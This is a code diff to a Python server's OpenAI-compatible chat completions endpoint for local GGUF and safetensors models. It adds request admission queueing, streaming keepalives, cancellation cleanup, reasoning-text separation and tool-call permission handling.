+                await _drain_cancelled_gguf_tool_task()
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise
+            except LlamaAdmissionTimeout as exc:
+                _openai_admission_log(
+                    "timeout",
+                    reservation,
+                    request = request,
+                    mode = _tool_admission_mode,
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise _openai_admission_http_exception(exc, status_code = 503)
+            except LlamaAdmissionCancelled as exc:
+                _openai_admission_log(
+                    "cancelled-before-upstream",
+                    reservation,
+                    request = request,
+                    mode = _tool_admission_mode,
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+                api_monitor.finish(monitor_id, "cancelled")
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise HTTPException(
+                    status_code = 499,
+                    detail = _openai_admission_error_body(exc, status_code = 499),
+                )
             except Exception as e:
                 logger.error(f"Error during GGUF tool completion: {e}", exc_info = True)
                 api_monitor.fail(monitor_id, _friendly_error(e))
@@ -6188,6 +8096,8 @@ async def openai_chat_completions(
                     )
                 raise HTTPException(status_code = 500, detail = safe_error_detail(e))
             finally:
+                if admission_lease is not None:
+                    admission_lease.release()
                 _tracker.__exit__(None, None, None)
 
         # ── Standard GGUF path (no tools) ─────────────────────
@@ -6222,11 +8132,31 @@ async def openai_chat_completions(
             _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
             _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
             _tracker.__enter__()
+            try:
+                reservation, admission_config = _openai_llama_admission_reserve(
+                    request = request,
+                    llama_backend = llama_backend,
+                )
+            except LlamaAdmissionQueueFull as exc:
+                _tracker.__exit__(None, None, None)
+                _openai_admission_log(
+                    "queue-full",
+                    snapshot = exc.snapshot,
+                    request = request,
+                    mode = "chat_standard_stream",
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                raise _openai_admission_http_exception(exc, status_code = 429)
 
             async def gguf_stream_chunks():
                 disconnect_watcher = asyncio.create_task(
                     _await_disconnect_then_cancel(request, cancel_event)
                 )
+                gen = None
+                next_task = None
+                stream_completed = False
                 try:
                     yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -6245,7 +8175,25 @@ async def openai_chat_completions(
                             cancel_event.set()
                             api_monitor.finish(monitor_id, "cancelled")
                             return
-                        cumulative = await asyncio.to_thread(next, gen, _gguf_sentinel)
+                        next_task = asyncio.create_task(
+                            asyncio.to_thread(next, gen, _gguf_sentinel)
+                        )
+                        try:
+                            # Stall-timeout wait: keepalive while the generator stays
+                            # silent (e.g. no-tool prefill). asyncio.wait never cancels
+                            # next_task, matching the finally-drain shield (see GGUF stream).
+                            while True:
+                                done_tasks, _ = await asyncio.wait(
+                                    {next_task},
+                                    timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                                )
+                                if done_tasks:
+                                    break
+                                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                            cumulative = next_task.result()
+                        finally:
+                            if next_task.done():
+                                next_task = None
                         if cumulative is _gguf_sentinel:
                             break
                         # Capture server metadata for the final usage chunk
@@ -6314,6 +8262,7 @@ async def openai_chat_completions(
                     api_monitor.finish(
                         monitor_id, "cancelled" if cancel_event.is_set() else "completed"
                     )
+                    stream_completed = True
                     yield "data: [DONE]\n\n"
 
                 except asyncio.CancelledError:
@@ -6324,13 +8273,156 @@ async def openai_chat_completions(
                     logger.error(f"Error during GGUF streaming: {e}", exc_info = True)
                     api_monitor.fail(monitor_id, _friendly_error(e))
                     error_chunk = _openai_stream_error_chunk(e)
-                    yield f"data: {json.dumps(error_chunk)}\n\n"
+                    yield _openai_stream_error_sse(error_chunk)
                 finally:
-                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
-                    _tracker.__exit__(None, None, None)
+                    try:
+                        if not stream_completed:
+                            cancel_event.set()
+                        task_to_drain = next_task
+                        next_task = None
+                        while task_to_drain is not None and not task_to_drain.done():
+                            try:
+                                await asyncio.shield(task_to_drain)
+                            except asyncio.CancelledError:
+                                cancel_event.set()
+                                continue
+                            except Exception:
+                                break
+                        if task_to_drain is not None and task_to_drain.done():
+                            try:
+                                task_to_drain.exception()
+                            except (asyncio.CancelledError, Exception):
+                                pass
+                        if gen is not None and not stream_completed:
+                            try:
+                                await asyncio.to_thread(gen.close)
+                            except (RuntimeError, ValueError):
+                                pass
+                            except Exception:
+                                logger.debug(
+                                    "Error closing GGUF stream generator during cleanup",
+                                    exc_info = True,
+                                )
+                        await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                    finally:
+                        _tracker.__exit__(None, None, None)
+
+            stream_lease = reservation.lease_nowait()
+            admission_wait_started_at = None
+            if stream_lease is None:
+                admission_wait_started_at = time.monotonic()
+                _openai_admission_log(
+                    "queued",
+                    reservation,
+                    request = request,
+                    mode = "chat_standard_stream",
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+
+            async def admitted_gguf_stream_chunks():
+                lease = stream_lease
+                stream_started = False
+                stream_cancelled = False
+                try:
+                    if lease is None:
+                        async for wait_item in _openai_admission_wait_stream_chunks(
+                            reservation,
+                            admission_config,
+                            request = request,
+                            cancel_event = cancel_event,
+                        ):
+                            if isinstance(wait_item, str):
+                                yield wait_item
+                                continue
+                            lease = wait_item
+                            _openai_admission_log(
+                                "granted-after-wait",
+                                reservation,
+                                request = request,
+                                mode = "chat_standard_stream",
+                                wait_started_at = admission_wait_started_at,
+                                completion_id = completion_id,
+                                level = "debug",
+                            )
+                            break
+                    if lease is None:
+                        return
+                    await _raise_if_openai_admission_cancelled(
+                        reservation,
+                        request = request,
+                        cancel_event = cancel_event,
+                    )
+                    iterator = gguf_stream_chunks()
+                    stream_started = True
+                    try:
+                        async for chunk in iterator:
+                            yield chunk
+                    except asyncio.CancelledError:
+                        stream_cancelled = True
+                        raise
+                    finally:
+                        await _close_openai_admitted_stream_iterator(
+                            iterator,
+                            cancelled = stream_cancelled,
+                        )
+                except LlamaAdmissionTimeout as exc:
+                    _openai_admission_log(
+                        "timeout",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_stream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "warning",
+                    )
+                    api_monitor.fail(monitor_id, str(exc))
+                    yield _openai_stream_error_sse(
+                        _openai_admission_error_body(exc, status_code = 503)
+                    )
+                except LlamaAdmissionCancelled:
+                    _openai_admission_log(
+                        "cancelled-before-upstream",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_stream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                    api_monitor.finish(monitor_id, "cancelled")
+                    return
+                except asyncio.CancelledError:
+                    api_monitor.finish(monitor_id, "cancelled")
+                    raise
+                except HTTPException as exc:
+                    status_code = getattr(exc, "status_code", 500) or 500
+                    detail = exc.detail
+                    error = (
+                        detail
+                        if isinstance(detail, dict) and "error" in detail
+                        else openai_error_body(str(detail), status = status_code)
+                    )
+                    api_monitor.fail(monitor_id, str(detail))
+                    yield _openai_stream_error_sse(error)
+                finally:
+                    if lease is not None:
+                        lease.release()
+                    if not stream_started:
+                        api_monitor.finish(monitor_id, "cancelled")
+                        reservation.cancel()
+                        _tracker.__exit__(None, None, None)
+
+            async def _gguf_admission_unstarted_cleanup() -> None:
+                api_monitor.finish(monitor_id, "cancelled")
+                if stream_lease is not None:
+                    stream_lease.release()
+                reservation.cancel()
+                _tracker.__exit__(None, None, None)
 
             return _SameTaskStreamingResponse(
-                gguf_stream_chunks(),
+                admitted_gguf_stream_chunks(),
+                unstarted_cleanup = _gguf_admission_unstarted_cleanup,
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
@@ -6339,57 +8431,189 @@ async def openai_chat_completions(
                 },
             )
         else:
+            try:
+                reservation, admission_config = _openai_llama_admission_reserve(
+                    request = request,
+                    llama_backend = llama_backend,
+                )
+            except LlamaAdmissionQueueFull as exc:
+                _openai_admission_log(
+                    "queue-full",
+                    snapshot = exc.snapshot,
+                    request = request,
+                    mode = "chat_standard_nonstream",
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                raise _openai_admission_http_exception(exc, status_code = 429)
+
+            _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
+            _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
+            _tracker.__enter__()
+            admission_lease = None
+            admission_wait_started_at = None
+            try:
+                if reservation.lease_nowait() is None:
+                    admission_wait_started_at = time.monotonic()
+                    _openai_admission_log(
+                        "queued",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_nonstream",
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                admission_lease = await _wait_for_openai_admission_non_streaming(
+                    reservation,
+                    admission_config,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+                if admission_wait_started_at is not None:
+                    _openai_admission_log(
+                        "granted-after-wait",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_nonstream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                await _raise_if_openai_admission_cancelled(
+                    reservation,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+            except asyncio.CancelledError:
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise
+            except LlamaAdmissionTimeout as exc:
+                _openai_admission_log(
+                    "timeout",
+                    reservation,
+                    request = request,
+                    mode = "chat_standard_nonstream",
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise _openai_admission_http_exception(exc, status_code = 503)
+            except LlamaAdmissionCancelled as exc:
+                _openai_admission_log(
+                    "cancelled-before-upstream",
+                    reservation,
+                    request = request,
+                    mode = "chat_standard_nonstream",
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+                api_monitor.finish(monitor_id, "cancelled")
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise HTTPException(
+                    status_code = 499,
+                    detail = _openai_admission_error_body(exc, status_code = 499),
+                )
+
             try:
                 # ``n`` requests several independent completions; the single
                 # decode slot yields one at a time, so loop sequentially.
-                _n = payload.n or 1
+                drain_task = None
 
-                _choices = []
-                _monitor_replies = []
-                _prompt_tokens = 0
-                _sum_completion = 0
-                _prompt_details = None
-                for _idx in range(_n):
-                    # Stop spawning the remaining choices once cancelled.
-                    if cancel_event.is_set():
-                        break
-                    full_text = ""
-                    completion_usage = None
-                    completion_finish = None
-                    for token in gguf_generate(_idx):
-                        if isinstance(token, dict):
-                            if token.get("type") == "metadata":
-                                completion_usage = token.get("usage")
-                                completion_finish = token.get("finish_reason")
+                async def _drain_cancelled_gguf_task():
+                    if drain_task is None:
+                        return
+                    while not drain_task.done():
+                        try:
+                            await asyncio.shield(drain_task)
+                        except asyncio.CancelledError:
+                            cancel_event.set()
                             continue
-                        full_text = token
+                        except Exception:
+                            break
+                    if drain_task.done():
+                        try:
+                            drain_task.exception()
+                        except (asyncio.CancelledError, Exception):
+                            pass
 
-                    reasoning_text, visible_text = _extract_responses_reasoning(
-                        full_text,
-                        parse_think_markers = _responses_should_parse_think_markers(
-                            payload,
-                            llama_backend,
-                        ),
-                    )
-                    message_kwargs = {"content": visible_text}
-                    if reasoning_text:
-                        message_kwargs["reasoning_content"] = reasoning_text
-                    _choices.append(
-                        CompletionChoice(
-                            index = _idx,
-                            message = CompletionMessage(**message_kwargs),
-                            finish_reason = _clamp_finish_reason(completion_finish),
+                def _drain_gguf_choices():
+                    _n = payload.n or 1
+                    _choices = []
+                    _monitor_replies = []
+                    _prompt_tokens = 0
+                    _sum_completion = 0
+                    _prompt_details = None
+                    for _idx in range(_n):
+                        # Stop spawning the remaining choices once cancelled.
+                        if cancel_event.is_set():
+                            break
+                        full_text = ""
+                        completion_usage = None
+                        completion_finish = None
+                        for token in gguf_generate(_idx):
+                            if isinstance(token, dict):
+                                if token.get("type") == "metadata":
+                                    completion_usage = token.get("usage")
+                                    completion_finish = token.get("finish_reason")
+                                continue
+                            full_text = token
+
+                        reasoning_text, visible_text = _extract_responses_reasoning(
+                            full_text,
+                            parse_think_markers = _responses_should_parse_think_markers(
+                                payload,
+                                llama_backend,
+                            ),
                         )
+                        message_kwargs = {"content": visible_text}
+                        if reasoning_text:
+                            message_kwargs["reasoning_content"] = reasoning_text
+                        _choices.append(
+                            CompletionChoice(
+                                index = _idx,
+                                message = CompletionMessage(**message_kwargs),
+                                finish_reason = _clamp_finish_reason(completion_finish),
+                            )
+                        )
+                        _monitor_replies.append(visible_text)
+                        if completion_usage:
+                            # The prompt is shared across all n choices, so count its
+                            # tokens ONCE (OpenAI bills only generated tokens for each
+                            # extra choice). Only completion_tokens accumulates.
+                            _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens
+                            _sum_completion += completion_usage.get("completion_tokens") or 0
+                            if _prompt_details is None:
+                                _prompt_details = completion_usage.get("prompt_tokens_details")
+                    return (
+                        _n,
+                        _choices,
+                        _monitor_replies,
+                        _prompt_tokens,
+                        _sum_completion,
+                        _prompt_details,
                     )
-                    _monitor_replies.append(visible_text)
-                    if completion_usage:
-                        # The prompt is shared across all n choices, so count its
-                        # tokens ONCE (OpenAI bills only generated tokens for each
-                        # extra choice). Only completion_tokens accumulates.
-                        _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens
-                        _sum_completion += completion_usage.get("completion_tokens") or 0
-                        if _prompt_details is None:
-                            _prompt_details = completion_usage.get("prompt_tokens_details")
+
+                drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_choices))
+                (
+                    _n,
+                    _choices,
+                    _monitor_replies,
+                    _prompt_tokens,
+                    _sum_completion,
+                    _prompt_details,
+                ) = await asyncio.shield(drain_task)
 
                 response = ChatCompletion(
                     id = completion_id,
@@ -6421,6 +8645,11 @@ async def openai_chat_completions(
                 api_monitor.finish(monitor_id)
                 return _model_json_response(response)
 
+            except asyncio.CancelledError:
+                cancel_event.set()
+                await _drain_cancelled_gguf_task()
+                api_monitor.finish(monitor_id, "cancelled")
+                raise
             except Exception as e:
                 logger.error(f"Error during GGUF completion: {e}", exc_info = True)
                 api_monitor.fail(monitor_id, _friendly_error(e))
@@ -6440,7 +8669,10 @@ async def openai_chat_completions(
                         ),
                     )
                 raise HTTPException(status_code = 500, detail = safe_error_detail(e))
-
+            finally:
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
     # ── Standard Unsloth path ─────────────────────────────────
 
     # Decode image (from content parts OR legacy field)
@@ -6478,7 +8710,40 @@ async def openai_chat_completions(
     # Classify capability flags from the loaded template.
     _sf_model_info = backend.models.get(backend.active_model_name, {})
     _sf_tpl = (_sf_model_info.get("chat_template_info") or {}).get("template")
-    _sf_features = _detect_safetensors_features(backend, _sf_tpl)
+    # Named templates may expose native reasoning only in their ``tool_use``
+    # branch. Use a truthy placeholder for Studio-managed tools, whose concrete
+    # schemas are selected below, and the request schemas for client passthrough.
+    _sf_server_tool_intent = bool(
+        _effective_enable_tools(payload) or _explicit_studio_tool_loop_requested(payload)
+    )
+    _sf_template_tools = payload.tools if payload.tool_choice != "none" else None
+    if not _sf_template_tools and _sf_server_tool_intent:
+        _sf_template_tools = ({},)
+
+    def _sf_response_protocol(tools = None):
+        features = _detect_safetensors_features(backend, _sf_tpl, tools = tools)
+        parse_think = bool(
+            features.get("supports_reasoning") or features.get("reasoning_always_on")
+        )
+        reasoning_prefilled = _sf_reasoning_prefill_mode(
+            features,
+            payload.enable_thinking,
+            _sf_tpl,
+            reasoning_effort = payload.reasoning_effort,
+        )
+        return features, parse_think, reasoning_prefilled
+
+    # GGUF parity: split canonical <think> output into reasoning_content. The
+    # selected template branch must match whether this request renders tools.
+    _sf_features, _sf_parse_think, _sf_reasoning_prefilled = _sf_response_protocol(
+        _sf_template_tools
+    )
+
+    def _new_sf_reasoning_extractor():
+        return _ResponsesReasoningExtractor(
+            parse_think_markers = _sf_parse_think,
+            reasoning_prefilled = _sf_reasoning_prefilled,
+        )
 
     cancel_event = threading.Event()
     completion_id = f"chatcmpl-{uuid.uuid4().hex[:12]}"
@@ -6525,9 +8790,20 @@ async def openai_chat_completions(
             _sf_use_tools = False
 
     if _sf_use_tools:
+        # permission_mode ask/auto require the confirm gate for Studio's own tool
+        # loop; when a CLI policy (--enable-tools) forces the loop on without a
+        # request-level tool signal, derive confirm here so the mode still gates
+        # the call (matching the GGUF path). off/full never prompt.
+        _sf_effective_confirm = _permission_mode_confirm(payload)
         # Bypass Permissions suppresses confirm, so the stream requirement
-        # (the gate needs streaming to prompt) no longer applies.
-        if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
+        # (the gate needs streaming to prompt) no longer applies. auto with an
+        # always-safe-only selection never prompts, so it needs no stream even
+        # though _sf_effective_confirm stays true for the loop's per-call gate.
+        if (
+            _confirm_gate_needs_stream(payload)
+            and not payload.bypass_permissions
+            and not payload.stream
+        ):
             raise _reject(
                 400,
                 openai_error_body(
@@ -6555,6 +8831,8 @@ async def openai_chat_completions(
         _sf_auto_heal_tool_calls = (
             payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True
         )
+        # Active tool names gating the bare-rehearsal strip, matching the loop gate.
+        _sf_display_tool_names = _display_tool_name_gate(_sf_tools_to_use)
 
         # Strip stale tool-call XML from prior assistant turns.
         _sf_chat_messages = []
@@ -6566,6 +8844,7 @@ async def openai_chat_completions(
                         "content": _strip_tool_xml_for_display(
                             _msg["content"],
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                            enabled_tool_names = _sf_display_tool_names,
                         ).strip(),
                     }
                 )
@@ -6586,24 +8865,28 @@ async def openai_chat_completions(
                 min_p = payload.min_p,
                 max_tokens = effective_max_tokens,
                 repetition_penalty = payload.repetition_penalty,
+                presence_penalty = payload.presence_penalty,
                 cancel_event = cancel_event,
                 enable_thinking = payload.enable_thinking,
                 reasoning_effort = payload.reasoning_effort,
                 preserve_thinking = payload.preserve_thinking,
                 auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                nudge_tool_calls = payload.nudge_tool_calls,
                 max_tool_iterations = _sf_tool_budget,
                 tool_call_timeout = payload.tool_call_timeout
                 if payload.tool_call_timeout is not None
                 else 300,
                 session_id = payload.session_id,
+                thread_id = payload.thread_id,
                 rag_scope = payload.rag_scope,
                 # Bypass Permissions takes precedence over the confirm gate:
                 # never prompt while bypassing.
-                confirm_tool_calls = bool(payload.confirm_tool_calls)
-                and not bool(payload.bypass_permissions),
+                confirm_tool_calls = _sf_effective_confirm and not bool(payload.bypass_permissions),
                 bypass_permissions = bool(payload.bypass_permissions),
+                permission_mode = payload.permission_mode,
                 use_adapter = payload.use_adapter,
                 stats_holder = _sf_stats_holder,
+                reasoning_prefilled = _sf_reasoning_prefilled,
             )
 
         _sf_tool_sentinel = object()
@@ -6613,6 +8896,7 @@ async def openai_chat_completions(
 
         async def sf_tool_stream():
             gen = None
+            _sf_next_task = None
             disconnect_watcher = asyncio.create_task(
                 _await_disconnect_then_cancel(request, cancel_event)
             )
@@ -6621,6 +8905,19 @@ async def openai_chat_completions(
 
                 gen = sf_generate_with_tools()
                 prev_text = ""
+                reasoning_extractor = _new_sf_reasoning_extractor()
+
+                def _sf_flush_reasoning():
+                    # Drain the extractor at turn/stream end (mirrors GGUF); only visible text hits the monitor.
+                    fr, fv = reasoning_extractor.finish()
+                    out = []
+                    if fr:
+                        out.append(_chat_reasoning_chunk(completion_id, created, model_name, fr))
+                    if fv:
+                        api_monitor.append_reply(monitor_id, fv)
+                        out.append(_chat_content_chunk(completion_id, created, model_name, fv))
+                    return out
+
                 while True:
                     if cancel_event.is_set():
                         backend.reset_generation_state()
@@ -6631,13 +8928,54 @@ async def openai_chat_completions(
                         api_monitor.finish(monitor_id, "cancelled")
                         return
 
-                    event = await asyncio.to_thread(next, gen, _sf_tool_sentinel)
+                    # Stall keepalive (see GGUF tool stream): silent backend segments
+                    # must not leave the SSE stream idle past proxy timeouts.
+                    _sf_next_task = asyncio.create_task(
+                        asyncio.to_thread(next, gen, _sf_tool_sentinel)
+                    )
+                    while True:
+                        _sf_done, _ = await asyncio.wait(
+                            {_sf_next_task},
+                            timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                        )
+                        if _sf_done:
+                            break
+                        yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                    event = _sf_next_task.result()
+                    # Done; drop the reference so the finally-block drain no-ops.
+                    _sf_next_task = None
                     if event is _sf_tool_sentinel:
                         break
+                    if isinstance(event, GenStreamError):
+                        backend.reset_generation_state()
+                        _msg = _friendly_gen_stream_error(event)
+                        api_monitor.fail(monitor_id, _msg)
+                        yield _openai_stream_error_sse(
+                            {"error": {"message": _msg, "type": "server_error"}}
+                        )
+                        return
+                    if not isinstance(event, dict):
+                        raise RuntimeError(
+                            f"Invalid safetensors tool event: {type(event).__name__}"
+                        )
+
+                    if event["type"] == "heartbeat":
+                        # Tool-execution wrapper heartbeat -> SSE keepalive.
+                        yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                        continue
+
+                    if event["type"] in ("tool_output", "tool_args"):
+                        # Live stdout/stderr, or tool-call arguments as the model writes them.
+                        yield f"data: {json.dumps(event)}\n\n"
+                        continue
 
                     if event["type"] == "status":
                         if not event["text"]:
+                            # Iteration boundary: flush reasoning, then a fresh prefilled extractor for the next turn.
+                            for _c in _sf_flush_reasoning():
+                                yield _c
                             prev_text = ""
+                            reasoning_extractor = _new_sf_reasoning_extractor()
                         status_data = json.dumps(
                             {
                                 "type": "tool_status",
@@ -6649,7 +8987,11 @@ async def openai_chat_completions(
 
                     if event["type"] in ("tool_start", "tool_end"):
                         if event["type"] == "tool_start":
+                            # Flush reasoning before tool_start so the thinking block closes ahead of the card.
+                            for _c in _sf_flush_reasoning():
+                                yield _c
                             prev_text = ""
+                            reasoning_extractor = _new_sf_reasoning_extractor()
                         yield f"data: {json.dumps(event)}\n\n"
                         continue
 
@@ -6658,14 +9000,24 @@ async def openai_chat_completions(
                     clean_cumulative = _strip_tool_xml_for_display(
                         raw_cumulative,
                         auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                        enabled_tool_names = _sf_display_tool_names,
                     )
                     new_text = clean_cumulative[len(prev_text) :]
                     prev_text = clean_cumulative
                     if not new_text:
                         continue
-                    api_monitor.append_reply(monitor_id, new_text)
-                    yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                    # Split reasoning vs visible; only visible reaches the monitor.
+                    reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                    if reasoning_delta:
+                        yield _chat_reasoning_chunk(
+                            completion_id, created, model_name, reasoning_delta
+                        )
+                    if visible_delta:
+                        api_monitor.append_reply(monitor_id, visible_delta)
+                        yield _chat_content_chunk(completion_id, created, model_name, visible_delta)
 
+                for _c in _sf_flush_reasoning():
+                    yield _c
                 yield _chat_final_chunk(completion_id, created, model_name, "stop")
                 # Usage chunk from the last turn, same shape as the
                 # GGUF tool loop's metadata. Request-scoped holder, so
@@ -6693,6 +9045,11 @@ async def openai_chat_completions(
                 backend.reset_generation_state()
                 api_monitor.finish(monitor_id, "cancelled")
                 raise
+            except GenStreamErrorRaised as exc:
+                backend.reset_generation_state()
+                _msg = _friendly_gen_stream_error(exc)
+                api_monitor.fail(monitor_id, _msg)
+                yield _openai_stream_error_sse({"error": {"message": _msg, "type": "server_error"}})
             except Exception:
                 backend.reset_generation_state()
                 # Generic wire message; full trace stays in the log (CWE-209:
@@ -6705,12 +9062,18 @@ async def openai_chat_completions(
                         "type": "server_error",
                     },
                 }
-                yield f"data: {json.dumps(error_chunk)}\n\n"
+                yield _openai_stream_error_sse(error_chunk)
             finally:
                 await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                # Drain a still-running next(gen) worker before closing: closing
+                # mid-next(gen) raises ValueError('generator already executing') and
+                # skips the generator's cleanup finally. Matches the GGUF tool stream.
+                await _drain_pending_next_task(_sf_next_task, cancel_event)
                 if gen is not None:
                     try:
-                        gen.close()
+                        # Offload the close so the generator's cleanup runs off the event
+                        # loop (matches the GGUF SSE path); a disconnect can't stall the loop.
+                        await asyncio.to_thread(gen.close)
                     except (RuntimeError, ValueError):
                         pass
                 _sf_tracker.__exit__(None, None, None)
@@ -6718,6 +9081,7 @@ async def openai_chat_completions(
         if payload.stream:
             return _SameTaskStreamingResponse(
                 sf_tool_stream(),
+                unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_sf_tracker),
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
@@ -6735,26 +9099,45 @@ async def openai_chat_completions(
                 for event in gen:
                     if cancel_event.is_set():
                         break
+                    if isinstance(event, GenStreamError):
+                        raise HTTPException(
+                            status_code = 500,
+                            detail = _friendly_gen_stream_error(event),
+                        )
+                    if not isinstance(event, dict):
+                        raise RuntimeError(
+                            f"Invalid safetensors tool event: {type(event).__name__}"
+                        )
                     if event.get("type") == "content":
                         full_text = _strip_tool_xml_for_display(
                             event.get("text", ""),
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                            enabled_tool_names = _sf_display_tool_names,
                         )
                 return full_text
 
             content_text = await asyncio.to_thread(_drain_to_text)
-            api_monitor.set_reply(monitor_id, content_text)
+            # Split prefilled <think> out of the visible answer (GGUF parity); the monitor gets visible text only.
+            _reasoning_text, _visible_text = _extract_responses_reasoning(
+                content_text,
+                parse_think_markers = _sf_parse_think,
+                reasoning_prefilled = _sf_reasoning_prefilled,
+            )
+            api_monitor.set_reply(monitor_id, _visible_text)
             _stats = _sf_stats_holder.get("stats")
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
             api_monitor.finish(monitor_id, "cancelled" if cancel_event.is_set() else "completed")
+            _sf_msg_kwargs = {"content": _visible_text}
+            if _reasoning_text:
+                _sf_msg_kwargs["reasoning_content"] = _reasoning_text
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
                 model = model_name,
                 choices = [
                     CompletionChoice(
-                        message = CompletionMessage(content = content_text),
+                        message = CompletionMessage(**_sf_msg_kwargs),
                         finish_reason = "stop",
                     )
                 ],
@@ -6765,6 +9148,15 @@ async def openai_chat_completions(
             backend.reset_generation_state()
             api_monitor.finish(monitor_id, "cancelled")
             raise
+        except GenStreamErrorRaised as exc:
+            backend.reset_generation_state()
+            _msg = _friendly_gen_stream_error(exc)
+            api_monitor.fail(monitor_id, _msg)
+            raise HTTPException(status_code = 500, detail = _msg)
+        except HTTPException as exc:
+            backend.reset_generation_state()
+            api_monitor.fail(monitor_id, str(exc.detail))
+            raise
         except Exception:
             backend.reset_generation_state()
             # CWE-209: generic detail; full trace in log.
@@ -6788,6 +9180,7 @@ async def openai_chat_completions(
         min_p = payload.min_p,
         max_new_tokens = effective_max_tokens or 2048,
         repetition_penalty = payload.repetition_penalty,
+        presence_penalty = payload.presence_penalty,
     )
     # Forward reasoning kwargs; the worker/template wrapper peels off any the
     # template doesn't accept.
@@ -6798,25 +9191,93 @@ async def openai_chat_completions(
     if payload.preserve_thinking is not None:
         gen_kwargs["preserve_thinking"] = payload.preserve_thinking
 
+    # ── Client-tool passthrough (safetensors + MLX) ──────────────
+    # Client tools (or tool-result history) without server-side tools: render
+    # tools into the template, generate one turn, heal text-form calls (#6801).
+    # supports_tools=False falls through to plain relay (GGUF gate parity).
+    _sf_has_tool_msgs = any(m.role == "tool" or m.tool_calls for m in payload.messages)
+    # Gate on _sf_use_tools (did the server-side path claim the request?), not
+    # raw mcp_enabled: an empty MCP registry must not silently drop client tools.
+    _sf_client_tools = (
+        not _effective_enable_tools(payload)
+        and not _sf_use_tools
+        and image is None
+        and not _sf_is_gptoss
+        and _sf_features.get("supports_tools", False)
+        and ((payload.tools and len(payload.tools) > 0) or _sf_has_tool_msgs)
+    )
+    _sf_heal = (
+        heal_gate(payload.auto_heal_tool_calls, payload.tools, payload.tool_choice)
+        if _sf_client_tools
+        else None
+    )
+    if _sf_client_tools:
+        # Re-derive from payload.messages so tool_calls / role="tool" history
+        # survives templating; fold system/developer into one leading system
+        # message (templates reject "developer") and clear prompt to avoid a dup.
+        gen_kwargs["messages"] = _set_or_prepend_system_message(
+            _structured_tool_history_for_local_template(
+                _flatten_content_parts_for_local_template(_openai_messages_for_passthrough(payload))
+            ),
+            system_prompt,
+        )
+        gen_kwargs["system_prompt"] = ""
+        # tool_choice="none": keep history templating but advertise no tools
+        # (heal_gate is off, markup would relay as prose). A forced function
+        # narrows templating to that one schema. Both mirror the GGUF path,
+        # where llama-server honors tool_choice itself.
+        _sf_tc = payload.tool_choice
+        _sf_forced = None
+        if isinstance(_sf_tc, dict) and isinstance(_sf_tc.get("function"), dict):
+            _sf_forced = _sf_tc["function"].get("name")
+        if _sf_tc == "none":
+            gen_kwargs["tools"] = None
+        elif isinstance(_sf_forced, str):
+            gen_kwargs["tools"] = [
+                t
+                for t in payload.tools or []
+                if isinstance(t, dict)
+                and isinstance(t.get("function"), dict)
+                and t["function"].get("name") == _sf_forced
+            ] or None
+        else:
+            gen_kwargs["tools"] = payload.tools
